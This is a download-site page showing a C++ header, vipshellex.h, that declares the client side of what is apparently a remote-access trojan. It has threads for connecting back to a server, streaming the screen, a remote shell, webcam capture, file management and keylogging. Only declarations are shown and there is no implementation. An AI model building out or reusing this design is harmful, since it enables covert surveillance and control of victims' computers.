⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 vipshellex.h

📁 软件源代码,共享。有2个文件
💻 H
字号:
#pragma once
#include "stdafx.h"

#define CREATE_THREAD_MARKER_CONNECTSERVER 0   //第一次连接 
#define CREATE_THREAD_MARKER_SCREENINFO    1   //发送视频监控
#define CREATE_THREAD_MARKER_SHELLCOMMAND  2   //发送shell
#define CREATE_THREAD_MARKER_GETCAP        3   //发送摄像头
#define CREATE_THREAD_MARKER_FILEMANAGE    4   //FILEMANAGE
#define CREATE_THREAD_MARKER_GETKEYLOG    5   //键盘记录
#define CREATE_THREAD_MARKER_CONNECTSERVERBYURL 6   //根据URL连接
class CVipShellEx : public CThreadBase
{
	struct tagServerAddr
	{
//		CVipShellCTcpClient hServer;
		std::wstring strAddr;
		DWORD dwPort;
		DWORD dwConnectId;
	};

	tagServerSystemInfo sysinfo;
public:
	CVipShellEx(void);
	~CVipShellEx(void);
public:
	virtual void OnNewThread(DWORD dwCreateMarker, DWORD dwThreadId, LPVOID lpParameter);
	void ConnectServer(LPCWSTR szServer, DWORD dwPort);
	void ConnectServer(LPCWSTR szUrl);
	void ConnectServerEx(LPCWSTR szServer, DWORD dwPort, DWORD dwType, DWORD dwConnectId = 0);
	void ConnectServerEx(ULONG ip, DWORD dwPort, DWORD dwType, DWORD dwConnectId = 0);
	tagServerSystemInfo* GetServerSystemInfo();
	void SetExplain(LPCWSTR szExplain);
protected:
	void _Init();
protected:
	void _ThreadConnectServer(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadConnectServerByUrl(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadSendScreenInfo(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadSendShell(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadSendCap(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadSendFileManage(tagServerAddr* pInfo, DWORD dwThreadId);
	void _ThreadSendGetKeyLogNoHook(tagServerAddr* pInfo, DWORD dwThreadId);
};


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -